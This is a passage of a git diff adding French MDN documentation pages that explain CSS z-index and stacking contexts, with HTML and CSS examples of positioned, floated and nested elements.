+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  right: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  z-index: 8;
+  height: 70px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 50px 0px 50px;
+}
+
+ +

{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}

diff --git a/files/fr/web/css/css_positioning/understanding_z_index/index.html b/files/fr/web/css/css_positioning/understanding_z_index/index.html new file mode 100644 index 0000000000..0c6c636886 --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/index.html @@ -0,0 +1,36 @@ +--- +title: Comprendre z-index en CSS +slug: Web/CSS/Comprendre_z-index +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +--- +

{{CSSRef}}{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}

+ +

Généralement, les pages HTML sont vues comme des objets en deux dimensions et le texte, les images et les autres éléments sont disposés sans se chevaucher. Il y a un seul flux de rendu, et tous les éléments connaissent la place occupée par les autres.

+ +
+

Dans CSS 2.1, chaque boîte a une position dans les 3 dimensions. En plus de leurs positions horizontale et verticale, les boîtes sont disposées sur un axe Z et sont disposées les unes sur les autres. Les positions sur l'axe Z sont particulièrement importantes lorsque deux boîtes se chevauchent visuellement.

+
+ +

Source : Section 9.9.1. de CSS 2.1 - La présentation en couches

+ +

Cela signifie que les règles de style CSS permettent de positionner des boîtes sur différentes couches, la couche « normale » étant la couche située en 0 sur l'axe Z. La position de chaque couche sur l'axe Z est exprimée par un nombre entier qui représente l'ordre d'empilement pour le rendu visuel. Plus cet entier sera grand, plus la couche sera haute dans la pile. Cette valeur se contrôle via la propriété CSS {{cssxref("z-index")}}.

+ +

z-index peut sembler simple d'utilisation : il ne s'agit que d'une seule propriété, exprimée avec un entier et un comportement plutôt simple de prime abord. Cependant, lorsque z-index est appliquée à des hiérarchies complexes d'éléments HTML, son comportement peut vite devenir difficile à appréhender, voire imprévisible. Ceci est dû aux règles complexes d'empilement.

+ +

Ces articles ont pour but d'expliquer ces règles, de proposer quelques simplifications et de nombreux exemples.

+ +
    +
  1. L'empilement sans z-index : Règles d'empilement par défaut
    2. +
  2. L'empilement et float : Comportement des éléments flottants
    3. +
  3. Ajouter z-index : Utiliser z-index pour modifier l'empilement par défaut
    4. +
  4. L'empilement de couches : Remarques sur l'empilement de couches
    5. +
  5. Exemple d'empilement n°1 : Hiérarchie HTML à 2 niveaux, z-index sur le dernier niveau
    6. +
  6. Exemple d'empilement n°2 : Hiérarchie HTML à 2 niveaux, z-index sur tous les éléments
    7. +
  7. Exemple d'empilement n°3 : Hiérarchie HTML à 3 niveaux, z-index sur le deuxième niveau
    8. +
+ +

{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}

diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html new file mode 100644 index 0000000000..de0cc3761f --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -0,0 +1,135 @@ +--- +title: Empilement et éléments flottants +slug: Web/CSS/Comprendre_z-index/Empilement_et_float +tags: + - Avancé + - CSS + - Contextes d’empilement + - Guide + - Ordre d’empilement + - float + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +--- +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}
+ +

L'empilement et les éléments flottants

+ +

Pour les blocs flottants, l'ordre d'empilement est légèrement différent. Les blocs flottants sont disposés entre les blocs non positionnés et les blocs positionnés. Voici l'ordre d'empilement :

+ +
    +
  1. L'arrière-plan et les bordures de l'élément racine du document
    2. +
  2. Les blocs qui descendent les uns des autres et qui sont situés dans le flux normal, dans l'ordre dans lequel ils apparaissent (pour HTML) ;
    3. +
  3. Les blocs flottants ;
    4. +
  4. Les éléments enfants positionnés, dans leur ordre d'apparence (pour HTML).
    5. +
+ +

En fait, comme on le voit avec l'exemple ci-après, l'arrière-plan et la bordure du bloc non positionné (DIV n°4) ne sont pas impactés par les blocs flottants alors que le contenu est affecté. Il s'agit du comportement standard de la propriété CSS {{cssxref("float")}}.

+ +

Ce comportement peut être expliqué en améliorant la liste précédente :

+ +
    +
  1. L'arrière-plan et les bordures de l'élément racine ;
    2. +
  2. Les blocs enfants dans le flux normal, dans leur ordre d'apparence (en HTML) ;
    3. +
  3. Les blocs flottants ;
    4. +
  4. Les éléments « en-ligne » enfants dans le flux normal ;
    5. +
  5. Les éléments enfants positionnés, dans leur ordre d'apparence (en HTML).
    6. +
+ +
Note : Dans l'exemple qui suit, tous les blocs sont transparents, excepté celui qui n'est pas positionné, montrant ainsi l'ordre d'empilement. Si l'on réduit l'opacité du bloc non positionné (DIV #4), il se produit quelque chose d'étrange : l'arrière-plan et la bordure de cet élément se placent par dessus les blocs flottants et les blocs positionnés. Il s'agit d'une interprétation particulière des spécifications CSS : l'application de l'opacité crée un nouveau contexte d'empilement (voir l'article : What No One Told You About Z-Index de Philip Walton ou son excellente traduction de Vincent De Oliveira, Ce que personne ne vous a dit sur z-index et, bien-sûr, la spécification).
+ +

{{EmbedLiveSample("Code_source_de_l’exemple", 600, 250)}}

+ +

Code source de l'exemple

+ +

HTML

+ +
<div id="abs1">
+  <b>DIV #1</b><br />position: absolute;</div>
+
+<div id="flo1">
+  <b>DIV #2</b><br />float: left;</div>
+
+<div id="flo2">
+  <b>DIV #3</b><br />float: right;</div>
+
+<br />
+
+<div id="sta1">
+  <b>DIV #4</b><br />no positioning</div>
+
+<div id="abs2">
+  <b>DIV #5</b><br />position: absolute;</div>
+
+ +

CSS

+ +
div {
+  padding: 10px;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 10px;
+  right: 140px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  height: 100px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 10px 0px 10px;
+  text-align: left;
+}
+
+#flo1 {
+  margin: 0px 10px 0px 20px;
+  float: left;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#flo2 {
+  margin: 0px 20px 0px 10px;
+  float: right;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#abs2 {
+  position: absolute;
+  width: 150px;
+  height: 100px;
+  top: 130px;
+  left: 100px;
+  border: 1px dashed #990;
+  background-color: #fdd;
+}
+ +

Voir aussi

+ + + + + +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html new file mode 100644 index 0000000000..f155461dd4 --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -0,0 +1,117 @@ +--- +title: Exemple d'empilement 1 +slug: Web/CSS/Comprendre_z-index/Exemple_1 +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +--- +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}
+ +

Premier exemple

+ +

Commençons par un exemple simple, dans le contexte d'empilement racine nous avons deux blocs DIV (DIV #1 et DIV #3), tout deux positionnés relativement, mais sans propriété {{ cssxref("z-index") }}. Dans le bloc DIV #1 il y a un bloc DIV #2 en position absolue, alors que dans le bloc DIV #3 il y a un bloc DIV #4 en position absolue, tout deux également sans propriété z-index.

+ +

Le seul et unique contexte d'empilement est le contexte racine. Sans z-index, les éléments sont empilés dans leur ordre d'apparition dans le code HTML.

+ +

Figure 5a : Exemple de contexte d'empilement 1

+ +

Si on assigne au bloc DIV #2 une valeur de z-index positive (non nulle et non automatique), il est rendu par dessus tous les autres blocs.

+ +

Figure 5b : Exemple de contexte d'empilement 1

+ +

Si maintenant on assigne également au bloc DIV #4 une valeur de z-index positive, plus grande que celle du DIV #2, le bloc DIV #4 est rendu par dessus tous les autres, y compris par dessus le bloc DIV #2.

+ +

Figure 5c : Exemple de contexte d'empilement 1

+ +

Dans le dernier exemple, vous pouvez voir que les blocs DIV #2 et DIV #4 ne sont pas frères, parce qu'ils appartiennent à des parents différents dans la hiérarchie des éléments HTML. Néanmoins, l'empilement du bloc DIV #4, tout en respectant le bloc DIV #2, peut être contrôlé avec la propriété z-index. Il se fait que les éléments DIV #1 et DIV #3 n'ayant pas de z-index défini, ils ne créent pas de contexte d'empilement. Cela signifie que l'ensemble de leur contenu, y compris les blocs DIV #2 et DIV #3, appartient au contexte d'empilement de la racine.

+ +

Dans le contexte d'empilement, les blocs DIV #1 et DIV #3 sont simplement assimilés dans l'élément racine, et la hiérarchie résultante est la suivante :

+ +
    +
  • Contexte d'empilement racine +
      +
    • DIV #2 (z-index 1)
      • +
    • DIV #4 (z-index 2)
      • +
    +
    • +
+ +
Note : Les blocs DIV #1 et DIV #3 ne sont pas translucides. Il est important de se souvenir que d'assigner une valeur d'opacité inférieure à 1 à un élément positionné, crée implicitement un contexte d'empilement, de la même façon que l'ajout de propriétés z-index. Et cet exemple montre ce qui arrive lorsqu'un élément parent ne crée pas de contexte d'empilement.
+ +

Exemple

+ +

CSS

+ +
.bold {
+  font-weight: bold;
+  font: 12px Arial;
+}
+#div1,
+#div3 {
+  height: 80px;
+  position: relative;
+  border: 1px dashed #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#div2 {
+  opacity: 0.8;
+  z-index: 1;
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 20px;
+  left: 170px;
+  border: 1px dashed #990000;
+  background-color: #ffdddd;
+  text-align: center;
+}
+
+#div4 {
+  opacity: 0.8;
+  z-index: 2;
+  position: absolute;
+  width: 200px;
+  height: 70px;
+  top: 65px;
+  left: 50px;
+  border: 1px dashed #000099;
+  background-color: #ddddff;
+  text-align: left;
+  padding-left: 10px;
+}
+ +

HTML

+ +
<div id="div1">
+  <br/>
+  <span class="bold">DIV #1</span>
+  <br/>position: relative;
+  <div id="div2">
+    <br/><span class="bold">DIV #2</span>
+    <br/>position: absolute;
+     <br/>z-index: 1;
+  </div>
+</div>
+
+<br/>
+
+<div id="div3">
+  <b/><span class="bold">DIV #3</span>
+  <br/>position: relative;
+  <div id="div4">
+    <br/><span class="bold">DIV #4</span>
+    <br/>position: absolute;
+    <br/>z-index: 2;
+  </div>
+</div>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemple')}}

+ +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html new file mode 100644 index 0000000000..75bbba62d9 --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -0,0 +1,128 @@ +--- +title: Exemple d'empilement 2 +slug: Web/CSS/Comprendre_z-index/Exemple_2 +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +--- +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}
+ +

Deuxième exemple

+ +

Ce deuxième exemple est très simple, mais il est essentiel à la compréhension du concept de contexte d'empilement. Nous avons les 4 mêmes blocs que l'exemple précédent, mais maintenant, nous appliquons des propriétés {{cssxref("z-index")}} aux deux niveaux de la hiérarchie.

+ +

Figure 6 : Exemple de contexte d'empilement 2

+ +

Vous pouvez voir que le bloc DIV #2 (z-index : 2) est au dessus du bloc DIV #3 (z-index : 1), parce qu'ils appartiennent tout les deux au même contexte d'empilement (celui de la racine), donc les valeurs de z-index régissent l'empilement des éléments.

+ +

Ce qui peut apparaitre comme étrange, c'est que le bloc DIV #2 (z-index : 2) est au dessus du bloc DIV #4 (z-index : 10), malgré leurs valeurs de z-index. La raison est qu'ils n'appartiennent pas au même contexte d'empilement. Le bloc DIV #4 appartient au contexte d'empilement créé par le bloc DIV #3, et, comme expliqué précédemment, le bloc DIV #3 (et tout son contenu) est au dessous du bloc DIV #2.

+ +

Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :

+ +
    +
  • Contexte d'empilement racine +
      +
    • DIV #2 (z-index 2)
      • +
    • DIV #3 (z-index 1) +
        +
      • DIV #4 (z-index 10)
        • +
      +
      • +
    +
    • +
+ +
Note : Il est important de se souvenir qu'en général, la hiérarchie HTML est différente de la hiérarchie du contexte d'empilement. Dans la hiérarchie du contexte d'empilement, les éléments qui ne créent pas un contexte d'empilement sont regroupés avec leur parents.
+ +

Exemple

+ +

CSS

+ +
div {
+  font: 12px Arial;
+}
+
+span.bold {
+  font-weight: bold;
+}
+
+#div2 {
+  z-index: 2;
+}
+
+#div3 {
+  z-index: 1;
+}
+
+#div4 {
+  z-index: 10;
+}
+
+#div1,#div3 {
+  height: 80px;
+  position: relative;
+  border: 1px dashed #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#div2 {
+  opacity: 0.8;
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 20px;
+  left: 170px;
+  border: 1px dashed #990000;
+  background-color: #ffdddd;
+  text-align: center;
+}
+
+#div4 {
+  opacity: 0.8;
+  position: absolute;
+  width: 200px;
+  height: 70px;
+  top: 65px;
+  left: 50px;
+  border: 1px dashed #000099;
+  background-color: #ddddff;
+  text-align: left;
+  padding-left: 10px;
+}
+ +

HTML

+ +
<br/>
+
+<div id="div1">
+  <br/><span class="bold">DIV #1</span>
+  <br/>position: relative;
+  <div id="div2">
+    <br/><span class="bold">DIV #2</span>
+    <br/>position: absolute;
+    <br/>z-index: 2;
+  </div>
+</div>
+
+<br/>
+
+<div id="div3">
+  <br/><span class="bold">DIV #3</span>
+  <br/>position: relative;
+  <br/>z-index: 1;
+  <div id="div4">
+    <br/><span class="bold">DIV #4</span>
+    <br/>position: absolute;
+    <br/>z-index: 10;
+  </div>
+</div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple")}}

+ +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html new file mode 100644 index 0000000000..5530887ec2 --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -0,0 +1,160 @@ +--- +title: Exemple d'empilement 3 +slug: Web/CSS/Comprendre_z-index/Exemple_3 +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +--- +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}
+ +

Troisième exemple

+ +

Ce dernier exemple illustre les problèmes qui peuvent survenir lorsqu'on utilise des éléments positionnés dans une hiérarchie HTML à plusieurs niveaux et lorsque des {{cssxref("z-index")}} sont assignés à l'aide de sélecteurs de classe.

+ +

Prenons un exemple de menu hiérarchique à 3 niveaux, fait de plusieurs DIV positionnés. Les deuxième et troisième niveaux apparaissent lors du survol ou d'un clic sur leur parent. D'ordinaire, ce type de menu est généré par un script, côté client ou côté serveur, de façon à ce que les règles de styles soient assignées à l'aide de sélecteurs de classe plutôt qu'avec des sélecteurs d'id.

+ +

Si les trois niveaux du menu se chevauchent partiellement, alors la gestion de l'empilement peut devenir problématique.

+ +

Figure 7 : Exemple de contexte d'empilement 3

+ +

Le menu de premier niveau est positionné relativement, ainsi aucun contexte d'empilement n'est créé.

+ +

Le menu de deuxième niveau est positionné en absolu à l'intérieur de son élément parent. Afin de le faire apparaître au dessus de tous les menus de premier niveau, on utilise un z-index. Le problème est que pour chaque menu de deuxième niveau, un contexte d'empilement se crée et chaque menu de troisième niveau appartient au contexte d'empilement de son parent.

+ +

Ainsi donc, un menu de troisième niveau s'empilera sous les menus de deuxième niveau suivants, car tous les menus de deuxième niveau partagent la même valeur de z-index et que les règles d'empilement par défaut s'appliquent.

+ +

Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :

+ +
    +
  • Contexte d'empilement racine +
      +
    • Niveau #1 +
        +
      • Niveau #2 (z-index : 1) +
          +
        • Niveau #3
          • +
        • …
          • +
        • Niveau #3
          • +
        +
        • +
      • Niveau #2 (z-index : 1)
        • +
      • …
        • +
      • Niveau #2 (z-index : 1)
        • +
      +
      • +
    • Niveau #1
      • +
    • …
      • +
    • Niveau #1
      • +
    +
    • +
+ +

On peut contourner ce problème en supprimant le chevauchement entre les différents niveaux du menu, ou en utilisant des valeurs de z-index individuelles (et différentes) assignées à l'aide de sélecteurs d'id plutôt que des sélecteurs de classe ou encore en aplatissant la hiérarchie HTML.

+ +
Note : Dans le code source, vous remarquerez que les menus de deuxième et troisième niveaux sont construits à l'aide de plusieurs boîtes DIV contenues dans un élément positionné en absolu. Ceci sert à les grouper et à les positionner en une seule fois.
+ +

Exemple

+ +

CSS

+ +
div {
+  font: 12px Arial;
+}
+
+span.bold {
+  font-weight: bold;
+}
+
+div.lev1 {
+  width: 250px;
+  height: 70px;
+  position: relative;
+  border: 2px outset #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#container1 {
+  z-index: 1;
+  position: absolute;
+  top: 30px;
+  left: 75px;
+}
+
+div.lev2 {
+  opacity: 0.9;
+  width: 200px;
+  height: 60px;
+  position: relative;
+  border: 2px outset #990000;
+  background-color: #ffdddd;
+  padding-left: 5px;
+}
+
+#container2 {
+  z-index: 1;
+  position: absolute;
+  top: 20px;
+  left: 110px;
+}
+
+div.lev3 {
+  z-index: 10;
+  width: 100px;
+  position: relative;
+  border: 2px outset #000099;
+  background-color: #ddddff;
+  padding-left: 5px;
+}
+ +

HTML

+ +
<br/>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+  <div id="container1">
+    <div class="lev2">
+      <br/><span class="bold">LEVEL #2</span>
+      <br/>z-index: 1;
+      <div id="container2">
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+        <div class="lev3"><span class="bold">LEVEL #3</span></div>
+      </div>
+    </div>
+    <div class="lev2">
+      <br/><span class="bold">LEVEL #2</span>
+      <br/>z-index: 1;
+    </div>
+  </div>
+</div>
+
+<div class="lev1">
+  <span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+  <span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+  <span class="bold">LEVEL #1</span>
+</div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple")}}

+ +
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html new file mode 100644 index 0000000000..db892c51dc --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -0,0 +1,122 @@ +--- +title: Empilement sans z-index +slug: Web/CSS/Comprendre_z-index/Empilement_sans_z-index +tags: + - Avancé + - CSS + - Guide + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +--- +
{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}
+ +

Empilement sans z-index

+ +

Lorsqu’aucun élément n'a de {{cssxref("z-index")}} définis, tous les éléments sont empilés dans cet ordre (de bas en haut) :

+ +
    +
  1. Arrière-plans et bordures de l'élément racine
    2. +
  2. Blocs enfants dans le flux normal, dans leur ordre d'apparition (en HTML)
    3. +
  3. Éléments enfants positionnés, dans leur ordre d'apparition (en HTML)
    4. +
+ +

On gardera à l'esprit que, lorsque la propriété {{cssxref("order")}} modifie l'ordre visuel des conteneurs flexibles ({{cssxref("flex")}}), cela modifie également l'ordre du contexte d'empilement.

+ +

Dans l'exemple suivant, les blocs en position absolue et relative sont correctement positionnés et dimensionnés pour illustrer les règles d'empilement. L'opacité a été réduite pour rendre les éléments transparents et faciliter ainsi la visualisation des superpositions.

+ +
+

Notes :

+ +
    +
  • Dans un groupe d'éléments sans aucune propriété z-index, tel que les blocs positionnés (DIV #1 à #4) dans l'exemple, l'ordre d'empilement des éléments est celui de leur ordre dans la hiérarchie HTML, quelle que soit leur position.
    • +
  • Les blocs standards (DIV #5) dans le flux normal, sans aucune propriété de positionnement, sont toujours rendus avant les éléments positionnés, et apparaissent en dessous de ces derniers, même s'ils interviennent plus tard dans la hiérarchie HTML.
    • +
  • Attention : en copiant-collant le code ci-dessous, l'exemple ne fonctionnera pas pour le DIV#5 à cause de la propriété d'opacité qui lui a été affecté. Il apparaîtra donc au dessus des autres blocs.
    • +
+
+ +

Figure 1. Exemple de règles d'empilement sans propriété z-index

+ +

Exemple

+ +

HTML

+ +
<div id="abs1" class="absolute">
+  <b>DIV #1</b><br />position: absolute;</div>
+<div id="rel1" class="relative">
+  <b>DIV #2</b><br />position: relative;</div>
+<div id="rel2" class="relative">
+  <b>DIV #3</b><br />position: relative;</div>
+<div id="abs2" class="absolute">
+  <b>DIV #4</b><br />position: absolute;</div>
+<div id="sta1" class="static">
+  <b>DIV #5</b><br />position: static;</div>
+
+ +

CSS

+ +
b {
+  font-family: sans-serif;
+}
+
+div {
+  padding: 10px;
+  border: 1px dashed;
+  text-align: center;
+}
+
+.static {
+  position: static;
+  height: 80px;
+  background-color: #ffc;
+  border-color: #996;
+}
+
+.absolute {
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  background-color: #fdd;
+  border-color: #900;
+  opacity: 0.7;
+}
+
+.relative {
+  position: relative;
+  height: 80px;
+  background-color: #cfc;
+  border-color: #696;
+  opacity: 0.7;
+}
+
+#abs1 {
+  top: 10px;
+  left: 10px;
+}
+
+#rel1 {
+  top: 30px;
+  margin: 0px 50px 0px 50px;
+}
+
+#rel2 {
+  top: 15px;
+  left: 20px;
+  margin: 0px 50px 0px 50px;
+}
+
+#abs2 {
+  top: 10px;
+  right: 10px;
+}
+
+#sta1 {
+  background-color: #ffc;
+  margin: 0px 50px 0px 50px;
+}
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple","600","400")}}

+ +
{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/fr/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..20fa6ab2ce --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,213 @@ +--- +title: L'empilement de couches +slug: Web/CSS/Comprendre_z-index/Empilement_de_couches +tags: + - Avancé + - CSS + - Guide + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +
{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}
+ +

Le contexte d'empilement

+ +

Dans l'exemple précédent, Ajout de z-index, les blocs DIV sont rendus les uns au dessus des autres (de l'arrière vers l'avant), en commençant par celui dont la valeur de {{cssxref("z-index")}} est la plus faible et en finissant par celui dont la valeur de z-index est la plus forte. Dans cet exemple, il n'y a qu'un seul contexte d'empilement, qui est l'élément HTML racine de la page.

+ +

Dans certaines conditions, un contexte d'empilement enfant peut être créé à l'intérieur d'un bloc DIV (ou un autre élément) n'importe où dans le document. En particulier, un élément positionné (en absolu ou en relatif) possédant une valeur de z-index différente de auto crée son propre contexte d'empilement : tous ses éléments enfants sont entièrement empilés dans ce contexte, suivant les mêmes règles que celles expliquées précédemment. Les valeurs de z-index de ses enfants n'ont de signification que dans ce contexte. Le bloc DIV entier et son contenu sont empilés comme un seul élément dans le contexte d'empilement de leur parent.

+ +

Un contexte d'empilement est formé dans le document par n'importe quel élément qui répond à l'un de ces critères :

+ +
    +
  • L'élément racine du document (HTML)
    • +
  • Un élément pour lequel {{cssxref("position")}} vaut absolute ou relative et pour lequel {{cssxref("z-index")}} est différente de auto
    • +
  • Un élément pour lequel {{cssxref("position")}} vaut fixed ou sticky
    • +
  • Un élément qui est le fils d'un conteneur flexible ({{cssxref("flexbox")}}) pour lequel {{cssxref("z-index")}} est différente de auto
    • +
  • Un élément qui est le fils d'un conteneur en grille ({{cssxref("grid")}}) pour lequel {{cssxref("z-index")}} est différente de auto
    • +
  • Un élément pour lequel {{cssxref("opacity")}} est inférieure à 1 (cf. la spécification)
    • +
  • Un élément pour lequel {{cssxref("mix-blend-mode")}} est différente de normal
    • +
  • Un élément pour lequel n'importe laquelle de ces propriétés est différente de none : +
      +
    • {{cssxref("transform")}}
      • +
    • {{cssxref("filter")}}
      • +
    • {{cssxref("perspective")}}
      • +
    • {{cssxref("clip-path")}}
      • +
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
      • +
    +
    • +
  • Un élément pour lequel {{cssxref("isolation")}} vaut isolate
    • +
  • Un élément pour lequel {{cssxref("-webkit-overflow-scrolling")}} vaut touch.
    • +
  • Un élément pour lequel la valeur de la propriété {{cssxref("will-change")}} concerne une propriété qui créerait un contexte d'empilement avec une valeur non-initiale.
    • +
  • Un élément pour lequel la valeur de la propriété {{cssxref("contain")}} est layout, paint ou une valeur composite contenant un de ces mots-clés (par exemple contain: strict ou contain: content).
    • +
+ +

Sans contexte d'empilement, les éléments fils sont empilés selon les règles vues avant. Les valeurs des z-index pour les contextes d'empilement des éléments fils ont uniquement un sens pour l'élément parent. Les contextes d'empilement sont traités de façon atomique, comme une seule unité, dans le contexte de l'élément parent.

+ +

En bref :

+ +
    +
  • Les contextes d'empilement peuvent être enfants d'autres contextes d'empilement, et ensemble forment une hiérarchie de contextes d'empilement.
    • +
  • Chaque contexte d'empilement est indépendant de ses voisins : seuls les éléments enfants sont pris en compte lorsque l'empilement est traité.
    • +
  • Chaque contexte d'empilement est autonome : Une fois que le contenu de l'élément est empilé, l'élément entier est pris en compte dans l'ordre d'empilement du contexte parent.
    • +
+ +
Notes : La hiérarchie des contextes d'empilement est un sous-ensemble de la hiérarchie des éléments HTML, car seuls les éléments positionnés dans l'espace (avec la propriété z-index créent des contextes d'empilement. On peut dire que les éléments qui ne créent pas leur propre contexte d'empilement sont assimilés par le contexte d'empilement parent.
+ +

Illustration

+ +

Figure 1. Exemple de règles d'empilement modifiées avec la propriété z-index

+ +

Dans cet exemple, tous les éléments positionnés créent leur propre contexte d'empilement, du fait de leur positionnement et de leur valeur z-index. La hiérarchie des contextes d'empilement est organisée comme suit :

+ +
    +
  • Racine +
      +
    • DIV #1
      • +
    • DIV #2
      • +
    • DIV #3 +
        +
      • DIV #4
        • +
      • DIV #5
        • +
      • DIV #6
        • +
      +
      • +
    +
    • +
+ +

Il est important de noter que les blocs DIV #4, DIV #5 et DIV #6 sont les enfants du bloc DIV #3, donc leur empilement est complètement résolu à l'intérieur de ce dernier. Une fois que l'empilement et le rendu à l'intérieur du bloc 3 sont définis, la totalité de l'élément DIV #3 est prise en compte pour l'empilement dans l'élément racine par rapport à ses DIV voisins.

+ +
+

Notes :

+ +
    +
  • DIV #4 est rendu dans le bloc DIV #1 car le z-index (5) de celui-ci est valide à l'intérieur du contexte d'empilement de l'élément racine, alors que le z-index (6) du bloc DIV #4 est valide à l'intérieur du contexte d'empilement du bloc DIV #3. Ainsi, DIV #4 se trouve sous DIV #1, parce que DIV #4 appartient à DIV #3, qui possède une valeur de z-index plus petite.
    • +
  • Pour la même raison DIV #2 (dont le z-index est 2) est rendu sous DIV#5 (de z-index égal à 1) parce que DIV #5 appartient à DIV #3, qui possède une valeur de z-index plus grande.
    • +
  • Le z-index du bloc DIV #3 est 4, mais cette valeur est indépendante du z-index du bloc DIV #4, DIV #5 et DIV #6, parce qu'il appartient à un contexte d'empilement différent.
    • +
+
+ +

Exemple

+ +

CSS

+ +
* {
+  margin: 0;
+}
+
+html {
+  padding: 20px;
